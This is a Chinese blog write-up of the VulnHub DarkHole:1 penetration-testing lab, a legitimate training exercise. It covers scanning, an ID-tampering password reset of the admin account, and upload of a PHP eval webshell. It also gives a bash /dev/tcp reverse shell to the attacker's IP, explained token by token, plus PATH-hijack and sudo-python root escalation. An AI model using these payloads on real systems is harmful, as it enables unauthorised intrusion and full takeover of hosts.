• 《VulnHub》DarkHole:1



    title: 《VulnHub》DarkHole:1
    date: 2023-09-11 19:44:42
    updated: 2023-09-11 19:44:43
    categories: WriteUp:VulnHub
    excerpt: 关键技术:主机发现、目标信息扫描、网站目录扫描、网站逻辑漏洞、文件上传漏洞、蚁剑、反弹 shell、Linux 权限,环境变量相关知识、提权、python 获取 shell。
    comments: false
    tags:
    top_image: /images/backimg/SunsetClimbing.png



    VulnHub 打靶记录。
    VulnHub 官网:https://www.vulnhub.com

    攻击机为 Kali-Linux-2023.2-vmware-amd64。
    Kali NAT IP:192.168.8.10。

    1:靶场信息

    靶场网址:
    https://www.vulnhub.com/entry/darkhole-1,724/

    2:打靶

    2.1:情报收集 & 威胁建模

    首先确定目标 ip:

    主机发现
    nmap -sn 192.168.8.0/24

    在这里插入图片描述

    目标 ip 为 192.168.8.108。

    接着扫描一下目标端口信息:

    目标信息扫描
    nmap -sS -sV -T4 -n -p- 192.168.8.108

    在这里插入图片描述

    目标开放了 80 端口和 22 端口。

    访问 80 端口,有一个登录页面,还有注册页面。

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    除此以外再扫描一下网站目录。

    扫描网站目录
    dirsearch -u http://192.168.8.108/

    经过检查没有太多有用的信息,(但 /upload/ 目录下有彩蛋。

    在这里插入图片描述

    2.2:漏洞分析 & 渗透攻击

    80 端口的 web 初步检查没有弱点,只能先注册一个账号登录进去看看。

    登录后的页面,有一个更新用户信息和修改密码的选项。

    在这里插入图片描述

    尝试修改 url 的 ID 参数,无果。

    在这里插入图片描述

    没办法。抓包看一下修改密码的数据包。

    可以看到修改密码时附带了用户 ID。

    在这里插入图片描述

    那就尝试一下能不能通过修改提交的 ID 越权修改其他用户的密码。
    尝试修改 ID 为 1 的用户,应该就是 admin。修改成功。

    在这里插入图片描述

    登录到 admin 之后发现可以上传文件。

    在这里插入图片描述

    在各种尝试之后,发现后端检测应该是黑名单机制。成功上传 .phtml 文件。

    在这里插入图片描述

     
    	echo 'Hello!';
    	@eval($_POST['hello']);
    ?>
    
    • 1
    • 2
    • 3
    • 4

    上传成功后给出了文件地址,访问发现文件可以被执行。

    在这里插入图片描述

    使用蚁剑连接。

    在这里插入图片描述

    连接成功后首先使用蚁剑终端进行 shell 反弹。

    反弹 shell
    1、kali:nc -lv -p 6666
    2、server:bash -c 'exec bash -i &>/dev/tcp/192.168.8.10/6666 <&1'

    成功反弹 shell。这里尝试了其他反弹 shell 的代码,有些不知道为什么不能运行,不过换其他语句即可。

    在这里插入图片描述

    这里说一下为什么要第一时间反弹 shell,因为在其他终端(网页、蚁剑等)可能会有潜在的限制。不便于之后的操作(例如提权)。

    可以尝试使用 find 命令查找敏感文件。不过这里直接查看一下 /etc/passwd 文件,寻找一下存在可以提权的用户。

    cat /etc/passwd | grep /bin/bash

    在这里插入图片描述

    进入到 darkhole 与 john 用户的 home 目录,寻找有用信息。在 john 目录下发现一些有趣的文件。

    在这里插入图片描述

    password 与 user.txt 文件无权查看。
    运行一下 toto 文件,发现它以 john 用户的身份运行类似 id 的命令。

    在这里插入图片描述

    那就尝试使用该文件提权。

    1. 在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。
    2. 然后将文件路径写入到原有环境变量前,这样使用 id 命令时就会优先匹配此路径下的 id 文件运行。
    3. 所以运行 toto 文件使用 john 身份调用 id 命令,实际上就是使用 john 身份调用 id 文件运行,即可获得 john 的 shell。

    创建一个新 id 文件
    echo '/bin/bash' > /tmp/id

    赋予权限
    chmod +x /tmp/id

    改变环境变量
    export PATH=/tmp:$PATH

    在这里插入图片描述

    然后运行 toto 文件即获得 john 权限。

    在这里插入图片描述

    之后查看 /home/john/ 下原本无权查看的 password 文件与 user.txt 文件。

    在这里插入图片描述

    得到一个密码:root123。猜测是 john 用户的相关密码。

    同时目标开启了 22 端口,提供 ssh 服务。尝试使用 john 账户登录。

    在这里插入图片描述

    现在仍然是 john 账户,接下来提权到 root。

    查看用户能够使用 sudo 运行的命令
    sudo -l

    在这里插入图片描述

    运行 sudo -l,用户可以了解自己在系统上具有的 sudo 权限,以及可以运行的特权命令与文件。

    可以看到 john 用户可以以管理员身份运行 /home/john/file.py。

    • 那么只要通过此文件执行获取 shell,即可获得管理员权限。
    1. 将获取 shell 的命令加入到此 python 文件。
      echo 'import os;os.system("/bin/bash")' > file.py
    2. 以管理员身份执行即可。
      sudo python3 /home/john/file.py

    在这里插入图片描述

    在这里插入图片描述

    成功获取 root 权限。完结撒花!(◕ᴗ◕✿)

    最后补充一下为什么要通过 ssh 连接以后再提权:如果直接通过反弹的 shell 尝试提权至 root,会出现以下情况:

    在这里插入图片描述

    完结 (◕ᴗ◕✿)

    3:总结

    3.1:命令 & 工具

    • Nmap
    • dirsearch
    • BurpSuite
    • 蚁剑
    • NetCat
    • bash
    • ssh
    • python

    3.1.1:Nmap

    部分选项

    参数介绍
    -snPing Scan - disable port scan
    -sS/sT/sA/sW/sMTCP SYN/Connect()/ACK/Window/Maimon scans
    -sVProbe open ports to determine service/version info
    -T<0-5>Set timing template (higher is faster)
    -n/-RNever do DNS resolution/Always resolve [default: sometimes]
    -p-描目标主机的所有端口

    3.2:关键技术

    • 主机发现
      nmap -sn

    • 目标信息扫描,扫描所有端口及开放端口的服务:
      nmap -sS -sV -T<0-5> -n -p-

    • 网站目录扫描
      dirsearch -u

    • 网站逻辑漏洞,越权之修改密码。

    • 文件上传漏洞

    • 蚁剑连接一句话木马

    • 反弹 shell
      1、kali:nc -lv -p <端口>
      2、server:bash -c 'exec bash -i &>/dev/tcp//<端口> <&1'

    • bash -c:让系统运行一个新的 Bash shell,-c 选项后是实际要执行的命令。
    • exec:替换当前 shell 进程。这意味着之前的 shell 进程将被关闭,而新的 Bash shell 将接管标准输入、标准输出和标准错误流。
    • bash -i:启动一个交互式 Bash shell,-i 表示这是一个交互式的 shell,可以接受用户输入。
    • &>:重定向操作符,将后续的命令的标准输出和标准错误都重定向到一个文件或设备。在这里即 /dev/tcp//<端口>,将标准输出和标准错误都重定向到一个指定的 IP 地址和端口。
    • <&1:将标准输入重定向到标准输出。确保在建立连接后,用户可以在远程 shell 中输入命令。
    • Linux 权限、环境变量相关知识

    • 查看用户具有的 sudo 权限
      sudo -l

    • 提权,通过系统调用实现。

    • python 获取 shell

    import os;
    os.system("/bin/bash")
    
    • 1
    • 2

    若待功成拂衣去,武陵桃花笑杀人。

    ——《当涂赵炎少府粉图山水歌》(唐)李白

  • 相关阅读:
    腾讯云服务器便宜吗?价格多少?附腾讯云服务器优惠购买链接
    期望最大化(EM)算法:从理论到实战全解析
    《向量数据库指南》——Milvus Cloud和Elastic Cloud 特性对比
    html文字一行时靠右,多行时靠左
    pytorch学习笔记4
    常用算法(四)——KMP算法
    ctfhub-文件上传-双写后缀
    c/c++: 空语句检查;消耗掉空语句分号
    Ovalbumin-tyrosine 鸡卵白蛋白修饰络氨酸,tyrosine-PEG-OVA 络氨酸-聚乙二醇-卵清蛋白
    Python 0基础_变现_38岁_day 15(匿名函数)
  • 原文地址:https://blog.csdn.net/KeepPromise/article/details/132741134